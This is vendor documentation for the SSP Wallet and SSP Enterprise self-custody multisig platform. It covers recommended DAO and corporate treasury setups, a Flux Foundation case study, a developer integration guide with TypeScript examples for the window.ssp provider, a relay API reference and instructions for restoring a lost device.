* **Single-jurisdiction signers** — if all your signers are in one country and that country imposes sanctions or asset freezes, your treasury is at risk. Geographic diversity matters.
* **Skipping testnet** — DAOs often skip testnet validation because "we'll just be careful." A signer fumbling their first real signing on a $1M proposal is a community-trust event. Test first.

## Recommended SSP Enterprise role mapping

* **Owner**: a long-tenured core contributor or foundation lead — should be someone whose departure would be a major event
* **Admins**: 2–3 senior contributors who handle vault setup and policy changes
* **Members**: the council signers
* **Viewers**: anyone who needs visibility (community managers, finance team) but shouldn't be able to sign

## Example: 7-signer DAO with $25M treasury

* **Vaults**: Cold Reserve (5-of-7), Operations (3-of-5 from a subset of council), Grants (3-of-5 from a subset of council)
* **Signers**: 4 core contributors + 2 community-elected delegates + 1 independent advisor
* **Policies**: as above for each vault
* **Cadence**: daily ops, weekly community report, monthly policy review, quarterly council review

This structure has been operationally validated by multiple SSP Enterprise customers including the Flux Foundation, who use it to manage the Fusion bridge and Foundation resources.

## Next steps

* [**Creating Multisig Vaults**](/docs/ssp-enterprise/creating-vaults) — set up your first DAO vault
* [**Configuring Policy Controls**](/docs/ssp-enterprise/policies) — apply the policies above
* [**Inviting Team Members & Roles**](/docs/ssp-enterprise/inviting-members) — bring your council in


# Corporate Treasury Workflow

This guide covers a recommended SSP Enterprise setup for a corporate treasury — company-owned crypto holdings managed by a finance team with executive sign-off, vendor payments, and clear segregation between operational and reserve funds.

## Who this is for

* Companies holding crypto on the balance sheet (treasury reserves, like MicroStrategy's BTC strategy)
* Crypto-native companies (exchanges, infrastructure providers, protocol companies) managing their own funds
* SaaS / fintech companies accepting crypto payments and managing the proceeds
* Family offices with crypto allocations
* Any business with corporate funds in crypto requiring CFO/CEO oversight

## Why corporates benefit from SSP Enterprise

* **Self-custody** — eliminate counterparty risk to custodians. The Q4 2022 custody failures (FTX, Genesis, BlockFi exposure) made self-custody a board-level discussion.
* **Audit trail** — every action logged with the signer's identity. Critical for SOC 2, ISO 27001, financial audits, and SOX-style internal controls.
* **Segregation of duties** — multi-signer requirements naturally enforce that no single employee (including the CFO) can move funds unilaterally.
* **Multi-chain** — corporates often hold BTC for treasury, ETH for protocol participation, stablecoins for vendor payments. One platform, many chains.
* **Cost** — significantly cheaper than enterprise custody platforms, freeing budget for security audits, insurance, or hiring.

## Recommended structure

### Vaults — segregate by purpose

Recommended starting structure for a mid-size corporate treasury:

| Vault            | Purpose                            | Typical balance | Threshold                           |
| ---------------- | ---------------------------------- | --------------- | ----------------------------------- |
| **Cold Reserve** | Long-term holdings, rarely touched | 70–90% of total | 3-of-4 (executives only)            |
| **Operating**    | Vendor payments, payroll, OTC      | 5–20% of total  | 2-of-3 (finance team)               |
| **Hot / Petty**  | Small recurring payments, dApp gas | 1–5% of total   | 2-of-3 (finance team, lower limits) |

This mirrors traditional treasury practice: a vault structure analogous to bank reserve accounts vs operating checking accounts.

If you're a smaller company, start with **Cold Reserve + Operating** (two vaults). The Hot vault is useful when you have frequent small expenses (dApp interactions, infra payments) that you want kept away from the main operating funds.

### Signers

**Cold Reserve vault:**

* CEO
* CFO
* Board Chair (or independent director)
* Head of Finance / Treasury
* (Optionally) external signer — auditor, legal counsel, lead investor

**Operating vault:**

* CFO
* Head of Finance / Treasury
* Senior Accountant or AP Manager
* (Optionally) CEO as backup

**Hot vault:**

* Head of Finance / Treasury
* Senior Accountant
* Operations Manager (someone who actually executes day-to-day)

### Threshold choice

* **Cold Reserve: 3-of-4 or 3-of-5** — supermajority of executives required. Slow, deliberate, intentional.
* **Operating: 2-of-3** — majority of finance team. Practical for daily operations.
* **Hot: 2-of-3** — same threshold but tighter policy limits

Avoid **N-of-N** for any vault — it creates single-person bottlenecks (any vacation or sick day freezes operations).

## Recommended policies

### Cold reserve vault

```
Daily Limit:        None (you don't move cold reserve daily)
Per-Tx Limit:       None
Whitelist:          Strict Mode — only approved destinations
                    (custodian for BTC sweeps, OTC desk for sales,
                    operating vault for transfers)
Time-Lock:          24 hours, ALL transactions
Admin Approval:     Required, ALL transactions
```

This is your "vault inside the vault." Anything moving from cold reserve should require a Board-level decision and have ample time for the team to flag if something looks wrong.

### Operating vault

```
Daily Limit:        $250,000 USD (or 1 month of typical spend)
Per-Tx Limit:       $50,000 USD
Whitelist:          Warning Mode — auto-approve known vendors,
                    require admin approval for new addresses
Time-Lock:          4 hours for transactions over $25,000
Admin Approval:     Required for transactions over $50,000
```

Rationale: enough flexibility for daily ops (vendor payments, payroll) without exposing the company to a single-transaction wipeout. New vendors go through admin approval before they're whitelisted permanently.

### Hot vault

```
Daily Limit:        $10,000 USD
Per-Tx Limit:       $2,000 USD
Whitelist:          Disabled (small frequent payments to varied recipients)
Time-Lock:          None (defeats the purpose)
Admin Approval:     None
```

Limit blast radius via small balances and tight per-tx caps rather than time-locks (which would slow this vault's intended purpose).

## Operating rhythm

### Daily

* **Operating vault** processes routine vendor payments, payroll runs, OTC sweeps. Threshold met within hours, broadcast same day.
* **Hot vault** handles dApp interactions, gas payments, small recurring expenses.

### Weekly

* Finance team reviews **Operating vault audit log**: every transaction, who proposed, who signed
* Reconcile against ERP / accounting system (Cryptio, Bitwave, NetSuite, QuickBooks)

### Monthly

* **Treasury committee meeting** (CFO + relevant signers): review balances, flag anomalies, approve any cold reserve movements
* **Sweep**: move excess operating funds to cold reserve to maintain target balance ratios
* **Policy review**: any limits being hit? Any whitelist additions to formalize?

### Quarterly

* **Internal audit**: pull the full SSP Enterprise audit log, reconcile against on-chain state, present findings to Audit Committee
* **Signer review**: any role changes? Departures? Plan vault migrations if signer composition changes substantively

### Annually

* **External audit**: provide auditors with read-only Viewer access to your SSP Enterprise organization. They can see all vaults, balances, transactions, and audit logs without being able to sign.
* **Disaster recovery drill**: practice the recovery process with each signer's seed phrase backups. Confirms backups are valid and team knows the procedure.

## Compliance and reporting

### SOC 2 / ISO 27001

* SSP Enterprise's audit log provides the immutable, attributable record auditors require for "segregation of duties" controls
* Two-device per signer satisfies "two-factor authentication" requirements
* Open-source codebase is verifiable, satisfying "third-party security review" requirements

### SOX-style internal controls

* M-of-N multisig is a stronger version of "two signatures required for material disbursements"
* Per-signer limits enforce "delegation of authority" matrices
* Time-locks provide "review window" controls

### Financial audit (Big 4 or boutique)

* Provide auditors **Viewer role** access — they see everything, can change nothing
* Export audit logs for the audit period
* Reconcile on-chain state to GL via accounting integrations

### Insurance

* Self-custody insurance is available from specialty providers (Evertas, Lloyd's syndicates, others)
* Document your SSP Enterprise setup, signer composition, and policies as part of the underwriting process
* Insurance carriers generally view two-device M-of-N favorably vs single-key custody

## Common corporate-specific concerns

### "What if our CFO is hit by a bus?"

* M-of-N means the CFO alone cannot move funds, AND their absence doesn't freeze operations (as long as threshold can be met without them)
* Each signer's SSP Wallet seed phrase + SSP Key seed phrase together can recover their position if their devices are lost
* Backup procedures should be documented and tested annually

### "What if the company is acquired or restructured?"

* SSP Enterprise vault control transfers cleanly: change the **Owner** (transfer ownership critical action), update **signers** by creating new vaults under new control, migrate funds
* The on-chain multisig itself is unchanged by corporate actions — only the SSP Enterprise account control changes

### "What about sanctions / OFAC compliance?"

* You control the address whitelist — implement OFAC SDN screening on every new whitelisted address
* SSP Enterprise's audit log demonstrates that whitelisted addresses were screened and approved by named individuals
* For high-volume operations, consider integrating screening tools (Chainalysis, TRM, Elliptic) into your address-approval workflow

### "What about employee turnover?"

* When an employee with signer access leaves: immediately remove them from the SSP Enterprise organization (critical action, requires WK signing)
* For vaults where they were a designated signer: **create a new vault** without them and migrate funds. (You cannot remove them from an existing vault's signer set — this is intentional cryptographic constraint.)
* Plan for this: rotate operating vaults annually as a hygiene practice, even if no specific departure triggers it.

## Example: $50M corporate treasury, 25-employee company

* **Vaults**: Cold Reserve (3-of-4: CEO, CFO, Board Chair, Head of Treasury), Operating (2-of-3: CFO, Head of Treasury, Senior Accountant), Hot (2-of-3: Head of Treasury, Senior Accountant, Operations Manager)
* **Balance allocation**: 80% Cold Reserve, 18% Operating, 2% Hot
* **Policies**: as recommended above
* **Cadence**: daily ops, weekly reconciliation, monthly committee meeting, quarterly audit, annual external audit + DR drill
* **Tooling**: SSP Enterprise + Cryptio for accounting + Chainalysis for AML screening

## Next steps

* [**Creating Multisig Vaults**](/docs/ssp-enterprise/creating-vaults) — set up your treasury vaults
* [**Configuring Policy Controls**](/docs/ssp-enterprise/policies) — apply the recommended policies
* [**Inviting Team Members & Roles**](/docs/ssp-enterprise/inviting-members) — onboard your finance team and executives


# Case Studies

Real teams running SSP Enterprise in production. Each case study covers what they had before, why they chose SSP, how they have it set up, and what changed.

## Available

* [**Flux Foundation**](/docs/ssp-enterprise/case-studies/flux-foundation) — Foundation treasury and Fusion bridge multisig across BTC, ETH, FLUX, and EVM L2s

## Coming soon

If you're using SSP Enterprise and willing to share your setup, we'd love to feature you. Email <tadeas@sspwallet.com>.


# Flux Foundation

How the Flux Foundation moved from scattered multisig and custom scripts to a single self-custody platform — securing the Fusion bridge and Foundation treasury without giving up keys to anyone.

> "We needed full control of our funds, transparency for the community, and no black box MPC sitting between us and our own treasury. SSP Enterprise was the first platform we found that matches all three — across every chain we actually use."
>
> — Tadeas Kmenta, Flux Foundation

## At a glance

|                  |                                              |
| ---------------- | -------------------------------------------- |
| **Organization** | Flux Foundation                              |
| **Industry**     | Decentralized infrastructure                 |
| **Use case**     | Foundation treasury + Fusion bridge multisig |
| **Chains**       | BTC, ETH, FLUX, EVM L2s                      |
| **Vault model**  | M-of-N multisig, two-device per signer       |
| **Status**       | In production                                |

## Before: scattered multisig and custom scripts

The Flux Foundation had been managing multi-party signing for years. The problem wasn't a lack of multisig — it was that nothing tied it together across chains, and the commercial alternatives all required a tradeoff the team wasn't willing to make.

* **Scattered multisig setups.** Different multisig wallets across different chains, each with its own quirks, signers, and recovery procedures.
* **Custom scripts to glue it together.** Internal tooling for transaction construction, signing coordination, and broadcast — maintained by hand.
* **No unified audit trail.** Approvals lived in chat threads and shared docs. Reconstructing who signed what required digging.
* **No middle ground in the market.** Custodians and MPC vendors meant trusting a black box. Off-the-shelf multisig tools were Ethereum-only.

## The decision

The team evaluated the alternatives and grouped them into three buckets. Every bucket had a dealbreaker.

**Bucket 1 — MPC custodians.** Fireblocks, BitGo, and similar. The vendor holds part of every key. Not true self-custody, regardless of how it's marketed.

**Bucket 2 — Single-chain multisig.** Safe and the like. Ethereum-only, no native UTXO support. The Foundation holds Bitcoin and Flux too — a treasury solution that ignores half the assets is not a treasury solution.

**Bucket 3 — Bare-bones multisig wallets.** Open-source multisig tools without a policy engine, analytics, or proper audit trail. Choosing one of these would just put the team back to building the management layer themselves — which was the original problem.

SSP Enterprise was the only platform that addressed all three at once: native multi-chain (UTXO and EVM), true self-custody with no vendor key share, and a built-in policy engine, analytics, and audit trail.

## What changed

One platform, every chain the Foundation interacts with, one consistent signing model. The custom scripts are retired. The chat-thread audit trail is replaced by attributable on-platform records. Treasury and bridge multisig live side by side under the same governance.

* **M-of-N vaults across every chain.** Bitcoin, Ethereum, Flux, and the EVM L2s — same platform, same mental model, same security guarantees.
* **Two devices per signer (default Dual mode).** With Dual Signing, the browser extension and mobile app are both required for every signature, so a single compromised device cannot sign. (Optional Key Only / Wallet Only vault modes use one device per signer — see [Creating Multisig Vaults](/docs/ssp-enterprise/creating-vaults).)
* **Audit trail that holds up.** Every proposal, approval, and rejection logged with the signer and timestamp. Replaces the chat-thread reconstruction.
* **Self-custody, end to end.** No vendor key share. No MPC infrastructure to trust. If SSP went away tomorrow, funds remain recoverable from signer seeds.

## The Fusion bridge specifically

The Fusion bridge is one of the most security-sensitive surfaces the Foundation operates — it coordinates value transfer between Flux and other chains, and a single signing failure could be catastrophic. It's also the workload where SSP Enterprise's model pays off most clearly.

* **On-chain multisig.** Native multisig on every chain the bridge touches — no smart-contract custodian, no relayer that can stall or front-run.
* **Two-device signing per signer.** Compromising one signer's laptop or phone is not enough to push a bridge transaction. Both devices, every time.
* **Per-signer policy controls.** Limits and whitelists configured at the org and vault level, enforced before any signature is collected.
* **Auditable end to end.** Every approval and rejection attributed and timestamped. Community accountability without giving up self-custody.

> "The Fusion bridge runs on infrastructure we control end to end now. Same security guarantees we have for our own treasury, applied to one of the highest-stakes workflows we operate."
>
> — Tadeas Kmenta, Flux Foundation

## Want the same setup?

The platform the Flux Foundation runs the Fusion bridge on is the same platform available to any team that wants self-custody multisig without compromise.

* Start with [Getting Started](/docs/ssp-enterprise/getting-started) → [Creating Your First Organization](/docs/ssp-enterprise/creating-organization) → [Creating Multisig Vaults](/docs/ssp-enterprise/creating-vaults)
* For DAOs and foundations specifically, see [DAO Treasury Management](/docs/ssp-enterprise/use-cases/dao-treasury)
* For migrating off another platform, see [Migration Guides](/docs/ssp-enterprise/migration)
* Email <tadeas@sspwallet.com> or [book a call](https://calendar.app.google/NZd7n1d6Hjmd7XFD6) to discuss your setup


# Getting Started for Developers

## Welcome to SSP Development

SSP Wallet lets your web app or dApp request payments and signatures from a user whose funds are protected by a **2-of-2 multisignature** (SSP Wallet browser extension + SSP Key mobile). This guide covers the two integration surfaces and their **real** APIs.

{% hint style="warning" %}
**There are two separate surfaces — don't mix them up:**

1. **WalletConnect v2** — for standard **EIP-1193 `eth_*`** dApp flows (`eth_sendTransaction`, `personal_sign`, `eth_signTypedData_v4`, `wallet_switchEthereumChain`, …). SSP handles these **only** over WalletConnect.
2. **Injected `window.ssp` provider** — SSP's own method set (`pay`, `sign_message`, `chains_info`, …). This provider does **not** implement `eth_*` methods; calling them returns an "Invalid method" error.

Use WalletConnect if you already speak EIP-1193. Use `window.ssp` if you want SSP-native payment/signature requests across UTXO **and** EVM chains.
{% endhint %}

## 🏗️ SSP Development Stack

```typescript
// SSP Wallet Browser Extension (Current: v2.0.0)
React 19 + TypeScript + Vite
Manifest v3 Web Extension (Chrome 110+, Firefox 110+, Edge)
BIP48 HD Key Derivation (@scure/bip32, @scure/bip39)
Schnorr Multisig (@runonflux/aa-schnorr-multisig-sdk) for EVM ERC-4337
Injected global: window.ssp  (request/response only — no events)

// SSP Key Mobile App (Current: v2.0.0)
React Native + TypeScript, iOS 15.1+ / Android 7+
Package: io.runonflux.sspkey

// SSP Relay Server (coordination only)
Node.js + TypeScript + MongoDB, WebSocket + REST
Zero-knowledge design (no private key / seed access)
```

### Architecture Overview

```mermaid
graph TB
    subgraph "Developer Application"
        A[Your dApp/Service]
        B[WalletConnect v2]
        C[Injected window.ssp]
    end

    subgraph "SSP Ecosystem"
        D[SSP Wallet Extension]
        E[SSP Relay Server]
        F[SSP Key Mobile]
    end

    subgraph "Blockchain Networks"
        G[Bitcoin / UTXO]
        H[Ethereum / EVM]
    end

    A --> B
    A --> C
    B --> D
    C --> D
    D <--> E
    E <--> F
    D --> G
    D --> H

    style A fill:#4CAF50
    style D fill:#2196F3
    style E fill:#FF9800
    style F fill:#9C27B0
```

## 🚀 Option 1 — WalletConnect (for EIP-1193 / `eth_*` dApps)

**Best for**: existing EVM dApps, DeFi, NFT marketplaces that already use EIP-1193.

SSP Wallet pairs over WalletConnect v2 and handles the standard EVM method set: `eth_requestAccounts`, `eth_accounts`, `eth_sendTransaction`, `eth_sendRawTransaction`, `eth_sign`, `personal_sign`, `eth_signTypedData` / `_v3` / `_v4`, `wallet_switchEthereumChain`, `wallet_addEthereumChain`, `wallet_watchAsset`, `eth_chainId`, `net_version`, plus `chainChanged` / `accountsChanged` events.

```typescript
// Your dApp connects to SSP the same way it connects to any WalletConnect wallet.
// Use your existing WalletConnect / wagmi / web3modal setup and let the user
// pick "SSP Wallet". Every transaction still requires 2-of-2 approval
// (browser extension + mobile SSP Key), so expect a mobile approval step
// before a tx hash returns.
```

{% hint style="info" %}
On EVM, SSP accounts are **ERC-4337 smart accounts** (not EOAs). `eth_signTransaction` (raw offline signing) is therefore rejected — use `eth_sendTransaction`, which submits a UserOperation signed by both keys.
{% endhint %}

## 🔌 Option 2 — Injected `window.ssp` provider (SSP-native)

**Best for**: web apps that want SSP-native payment and signature requests, across UTXO and EVM chains, without WalletConnect.

### The provider

```typescript
declare global {
  interface Window {
    ssp?: {
      // TWO positional args: a method string and a single named-fields object.
      request: (method: string, params?: Record<string, unknown>) => Promise<any>;
    };
  }
}

const isInstalled = typeof window.ssp !== 'undefined';
```

{% hint style="danger" %}
**Call shape matters.** The signature is `window.ssp.request(method, paramsObject)` — two positional arguments, where `params` is a **plain object of named fields**. It is **not** `request({ method, params })` and params is **not** a positional array. The global is `window.ssp` (there is no `window.sspwallet`).
{% endhint %}

### Response shape

* On success the promise **resolves** to an object: `{ status: 'SUCCESS', ...methodFields }` (e.g. `pay` → `{ status, txid }`). Always check `res.status === 'SUCCESS'`.
* On failure the promise **rejects** with an `Error` (`error.code` defaults to `4001` for user rejection). Wrap calls in `try/catch`.
* The injected provider is **request/response only — no event listeners** (no `accountsChanged`/`chainChanged`). Use WalletConnect if you need events.

### Supported methods

| Method                      | Purpose                                      | Key params (object)                                                 | Resolves                                                                                                               |
| --------------------------- | -------------------------------------------- | ------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------- |
| `pay`                       | Request a payment / asset send               | `{ address, amount, chain, message?, contract? }`                   | `{ status, txid }`                                                                                                     |
| `sign_message`              | Sign a message with a chain address          | `{ message, address?, chain? }`                                     | `{ status, signature, address, message }`                                                                              |
| `sspwid_sign_message`       | Sign with the SSP Wallet Identity (FluxID)   | `{ message }`                                                       | `{ status, signature, address, message }`                                                                              |
| `wk_sign_message`           | 2-of-2 WK-Identity (P2WSH) message signing   | `{ message, authMode?, origin, siteName?, description?, iconUrl? }` | `{ status, result: { walletSignature, walletPubKey, keySignature?, keyPubKey?, witnessScript, wkIdentity, message } }` |
| `chains_info`               | List all chains SSP supports                 | *(none)*                                                            | `{ status, chains: [{ id, name, symbol, decimals, chainId? }] }`                                                       |
| `chain_tokens`              | List tokens for a chain                      | `{ chain }`                                                         | `{ status, tokens: [{ contract, name, symbol, decimals }] }`                                                           |
| `user_chains_info`          | Chains the user has synced                   | *(none)*                                                            | `{ status, chains }`                                                                                                   |
| `user_addresses`            | User's addresses for a chain (user consents) | `{ chain }`                                                         | `{ status, addresses: [string] }`                                                                                      |
| `user_chains_addresses_all` | User-approved addresses across synced chains | *(none)*                                                            | `{ status, chains: [{ id, name, symbol, decimals, addresses }] }`                                                      |

> `amount` is in **whole units** (e.g. `'4.124'`), `chain` is a chain id (`'btc'`, `'flux'`, `'eth'`, `'ltc'`, `'doge'`, `'zec'`, `'bch'`, `'rvn'`, … — call `chains_info` for the live list). See the authoritative reference in the SSP Wallet repo's `SSP_Wallet_API.md`. Enterprise integrators have additional `enterprise_*` methods (vault xpub / signing) that require the wallet to be synced with the SSP Key.

### Requesting a payment

```typescript
if (typeof window.ssp === 'undefined') {
  alert('SSP Wallet not found. Please install SSP Wallet.');
} else {
  try {
    // Every send is a 2-of-2 approval: the user confirms in the extension
    // AND on the SSP Key mobile app before a txid comes back.
    const res = await window.ssp.request('pay', {
      address: '0xRecipientOrChainAddress',
      amount: '0.01',          // whole units, not hex/wei
      chain: 'eth',            // 'btc' | 'flux' | 'eth' | 'ltc' | ...
      message: 'Invoice #1234' // optional memo
    });

    if (res.status === 'SUCCESS') {
      console.log('Broadcast tx:', res.txid);
    }
  } catch (error: any) {
    if (error.code === 4001) console.log('User rejected the request');
    else console.error('SSP request failed:', error.message ?? error);
  }
}
```

### Reading the user's addresses

```typescript
// Ask for addresses on one chain (the user chooses what to share):
const eth = await window.ssp!.request('user_addresses', { chain: 'eth' });
if (eth.status === 'SUCCESS') console.log(eth.addresses);

// Or everything the user has synced + approved:
const all = await window.ssp!.request('user_chains_addresses_all');
```

### Signing a message

```typescript
// Plain message signing on a given chain address:
const sig = await window.ssp!.request('sign_message', {
  message: 'Sign in to Example @ ' + Date.now(),
  chain: 'btc',
});
if (sig.status === 'SUCCESS') console.log(sig.signature, sig.address);

// 2-of-2 WK-Identity signing (both wallet + key sign). The message MUST be
// prefixed with a 13-digit millisecond timestamp; authMode 2 = wallet + key.
const wk = await window.ssp!.request('wk_sign_message', {
  message: `${Date.now()}:login-to-example`,
  authMode: 2,
  origin: window.location.origin,
  siteName: 'Example App',
});
if (wk.status === 'SUCCESS') {
  const { wkIdentity, witnessScript, walletSignature, keySignature } = wk.result;
}
```

## 🔐 Security Considerations

### Best practices

```typescript
function isValidEvmAddress(address: string): boolean {
  return /^0x[a-fA-F0-9]{40}$/.test(address);
}

async function safePay(address: string, amount: string, chain: string) {
  if (chain === 'eth' && !isValidEvmAddress(address)) {
    throw new Error('Invalid recipient address');
  }
  const res = await window.ssp!.request('pay', { address, amount, chain });
  if (res.status !== 'SUCCESS') throw new Error('Payment not completed');
  return res.txid;
}
```

### Guidelines

* ✅ **Validate user inputs** before requesting a `pay` / signature.
* ✅ **Always check `res.status === 'SUCCESS'`** and `try/catch` for rejection (`error.code === 4001`).
* ✅ **Use HTTPS** and never log signatures, keys, or seed phrases.
* ✅ **Expect a mobile approval step** — do not assume immediate confirmation.
* ❌ **Don't call `eth_*` on `window.ssp`** — those are WalletConnect-only.
* ❌ **Don't reference `window.sspwallet`** — the global is `window.ssp`.
* ❌ **Don't bypass SSP's 2-of-2 confirmations.**

## 🧪 Testing & Development

```typescript
// Mock the injected provider for tests — mirror the REAL shape:
// positional (method, params-object) and { status: 'SUCCESS', ... } responses.
class MockSSPProvider {
  async request(method: string, params?: Record<string, unknown>) {
    switch (method) {
      case 'user_addresses':
        return { status: 'SUCCESS', addresses: ['0x742d35Cc6634C0532925a3b8D404d8C92ca5c200'] };
      case 'pay':
        return { status: 'SUCCESS', txid: '0x123abc' };
      case 'sign_message':
        return { status: 'SUCCESS', signature: '0x456def', address: params?.address, message: params?.message };
      default:
        throw Object.assign(new Error(`Method ${method} not supported`), { code: 4001 });
    }
  }
}

// window.ssp = new MockSSPProvider() as any;
```

### Debugging

```typescript
console.log('SSP available:', typeof window.ssp !== 'undefined');

if (window.ssp) {
  try {
    const chains = await window.ssp.request('chains_info');   // real method
    console.log('Supported chains:', chains.chains);
  } catch (error) {
    console.error('SSP debug error:', error);
  }
}
// Note: the injected provider has no event listeners (unlike MetaMask).
// Re-query on user action or use WalletConnect if you need chain/account events.
```

## 📖 Example: Send button

```tsx
import React, { useState } from 'react';

function SendPayment() {
  const [recipient, setRecipient] = useState('');
  const [amount, setAmount] = useState('');
  const [isLoading, setIsLoading] = useState(false);

  const handleSend = async () => {
    if (!window.ssp) return alert('SSP Wallet not found. Please install SSP Wallet.');
    setIsLoading(true);
    try {
      const res = await window.ssp.request('pay', {
        address: recipient,
        amount,          // whole units, e.g. "0.01"
        chain: 'eth',
      });
      if (res.status === 'SUCCESS') {
        alert(`Transaction sent: ${res.txid}\nApproved on both devices.`);
      }
    } catch (error: any) {
      alert(error.code === 4001 ? 'Rejected by user' : `Failed: ${error.message ?? error}`);
    } finally {
      setIsLoading(false);
    }
  };

  return (
    <div>
      <input placeholder="Recipient address" value={recipient} onChange={(e) => setRecipient(e.target.value)} />
      <input placeholder="Amount (whole units)" value={amount} onChange={(e) => setAmount(e.target.value)} />
      <button onClick={handleSend} disabled={isLoading}>{isLoading ? 'Sending…' : 'Send'}</button>
    </div>
  );
}
```

For EVM contract interactions (swaps, approvals, arbitrary `data`), use the **WalletConnect** path with standard `eth_sendTransaction` — the injected `window.ssp` provider intentionally exposes only the high-level methods above.

## 🆘 Support & Resources

* [**API Reference**](/docs/developer-integration-hub/api-reference) — SSP Relay API
* **`SSP_Wallet_API.md`** (in the ssp-wallet repo) — authoritative injected-provider reference + a working `SSP_Wallet_API_Example.html`
* **GitHub Issues**: [Report bugs / request features](https://github.com/RunOnFlux/ssp-wallet/issues)
* **GitHub Discussions**: [Ask questions](https://github.com/RunOnFlux/ssp-wallet/discussions)

***

**Two surfaces, one wallet: WalletConnect for EIP-1193 `eth_*`, or the injected `window.ssp` provider for SSP-native `pay` / `sign_message` requests — both enforce 2-of-2 approval.**


# API Reference

This document describes the actual API endpoints provided by SSP Relay for communication between SSP Wallet and SSP Key.

## Base URL

```
Production: https://relay.sspwallet.io/v1
```

## Authentication

SSP Relay endpoints use simple parameter validation and do not require complex authentication headers. Parameters are validated for format and length constraints.

## Available Endpoints

### Synchronization Endpoints

#### GET /v1/sync/:id

Retrieve synchronization data for a wallet identity.

**Parameters:**

* `id` (string): Wallet identity (alphanumeric, underscore, colon, hyphen allowed, max 200 chars)

**Response:**

```json
{
  "success": true,
  "data": {
    "chain": "bitcoin",
    "walletIdentity": "wallet_id",
    "keyXpub": "xpub6...",
    "wkIdentity": "key_identity",
    "generatedAddress": "bc1q...",
    "publicNonces": ["..."]
  }
}
```

#### POST /v1/sync

Create new synchronization data.

**Request Body:**

```json
{
  "chain": "bitcoin",
  "walletIdentity": "wallet_id", 
  "keyXpub": "xpub6...",
  "wkIdentity": "key_identity",
  "generatedAddress": "bc1q..."
}
```

#### POST /v1/token

Add token synchronization data.

### Transaction Endpoints

#### GET /v1/action/:id

Retrieve transaction action data.

**Parameters:**

* `id` (string): Action identifier

#### POST /v1/action

Submit transaction action for processing.

### Network Information

#### GET /v1/rates

Get current exchange rates for supported cryptocurrencies.

**Response:**

```json
{
  "bitcoin": {
    "usd": 43000.00,
    "eur": 36000.00
  },
  "ethereum": {
    "usd": 3200.00,
    "eur": 2700.00
  }
}
```

#### GET /v1/networkfees

Get current network fee estimates for all supported blockchains.

**Response:**

```json
{
  "bitcoin": {
    "slow": 1,
    "standard": 5,
    "fast": 10
  },
  "ethereum": {
    "slow": 20000000000,
    "standard": 25000000000,
    "fast": 30000000000
  }
}
```

### Token Information

#### GET /v1/tokeninfo/:network/:address

Get information about tokens on supported networks.

**Parameters:**

* `network` (string): Blockchain network (e.g., "ethereum", "polygon")
* `address` (string): Token contract address

### Services

#### GET /v1/services

Get configuration for enabled third-party services.

**Response:**

```json
{
  "onramper": true,
  "exchangeRates": true
}
```

### Support Endpoints

#### POST /v1/ticket

Submit support ticket via Freshdesk integration.

#### POST /v1/contact

Submit contact form.

### Third-Party Integration

#### POST /v1/sign/onramper

Sign data for Onramper integration.

## Error Handling

All endpoints return appropriate HTTP status codes:

* `200` - Success
* `400` - Bad Request (invalid parameters)
* `404` - Not Found
* `500` - Internal Server Error

**Error Response Format:**

```json
{
  "error": "Invalid ID"
}
```

## Rate Limits

Rate limiting is implemented but specific limits are not documented in the public API.

## Development

### Local Development

SSP Relay runs on port 9876 by default in development mode.

```
http://localhost:9876/v1
```

### Configuration

Relay configuration is managed through environment variables and config files. See the SSP Relay repository for development setup instructions.

## Implementation Notes

* All string parameters have length and format validation
* Wallet identities must be alphanumeric with limited special characters
* The relay acts as a communication facilitator and does not store private keys
* All transaction data is temporary and cleared after processing

## Source Code

The complete SSP Relay implementation is available at: <https://github.com/RunOnFlux/ssp-relay>

For detailed development guides, see the SSP Relay Development section in this documentation.


# Lost or Replaced a Device?

{% hint style="info" %}
**Your funds live on the blockchain, not on your devices.** Your devices hold the keys that authorize spending. As long as you have your **seed phrases** backed up, you can restore your keys on a new device and keep using your funds.
{% endhint %}

## How SSP's two-device model works

SSP is a **true 2-of-2 multisignature** system. There are two independent keys:

* **SSP Wallet** — the browser extension. Holds the **first** key.
* **SSP Key** — the mobile app. Holds the **second** key.

Every transaction needs **both** keys to sign. This is the security guarantee: a single lost, stolen, or compromised device **cannot move your funds on its own**.

Each device has its **own seed phrase**:

* The **wallet seed phrase** restores the SSP Wallet (first) key.
* The **key seed phrase** restores the SSP Key (second) key.

> **The two seed phrases are different and equally important.** Back up both, store them separately, and never store them on the same device or in the same place. You need both to fully restore your wallet.

## What is — and isn't — recoverable

**The rule:** every transaction needs **both** keys. Each key can be provided either by its **working device** *or* by restoring it from **its own seed phrase**. So a key is safe only if it has a seed backup — and if either key is lost with **no** backup (its device *and* its seed both gone), the 2-of-2 can no longer sign and the funds are frozen. In short: **keep a seed-phrase backup for&#x20;*****both*****&#x20;keys.**

| Situation                                                         | Recoverable? | Notes                                                                                                         |
| ----------------------------------------------------------------- | ------------ | ------------------------------------------------------------------------------------------------------------- |
| Lost / broke your **phone** (SSP Key)                             | ✅ Yes        | Restore from your **key** seed phrase                                                                         |
| Lost / reset your **browser / computer** (SSP Wallet)             | ✅ Yes        | Restore from your **wallet** seed phrase                                                                      |
| Lost **both** devices, but kept **both** seed phrases             | ✅ Yes        | Restore both keys from their seeds                                                                            |
| Lost a **seed phrase**, but **both devices still work**           | ⚠️ Act now   | You can still spend — move funds to a fresh, fully-backed-up wallet before that device ever fails (see below) |
| A key's **device&#x20;*****and*****&#x20;its seed** are both gone | ❌ No         | You'd hold only 1 of the 2 required keys; a 2-of-2 cannot sign                                                |
| Lost **both** seed phrases                                        | ❌ No         | No one can rebuild your keys — if a device then fails, the funds freeze                                       |

{% hint style="danger" %}
**No one can recover your seed phrases for you.** SSP is self-custody and zero-knowledge — the SSP Relay never sees your private keys or seed phrases. If both seed phrases are lost, the funds cannot be recovered by anyone, including SSP.
{% endhint %}

## Replacing a lost or broken phone (SSP Key)

If your phone is lost, stolen, or broken but you still have your **key seed phrase**:

1. Install **SSP Key** on the new phone:
   * iOS: [App Store](https://apps.apple.com/us/app/ssp-key/id6463717332)
   * Android: [Google Play](https://play.google.com/store/apps/details?id=io.runonflux.sspkey)
2. Choose **Restore Key** and enter your backed-up **key seed phrase**, then set a new key password.
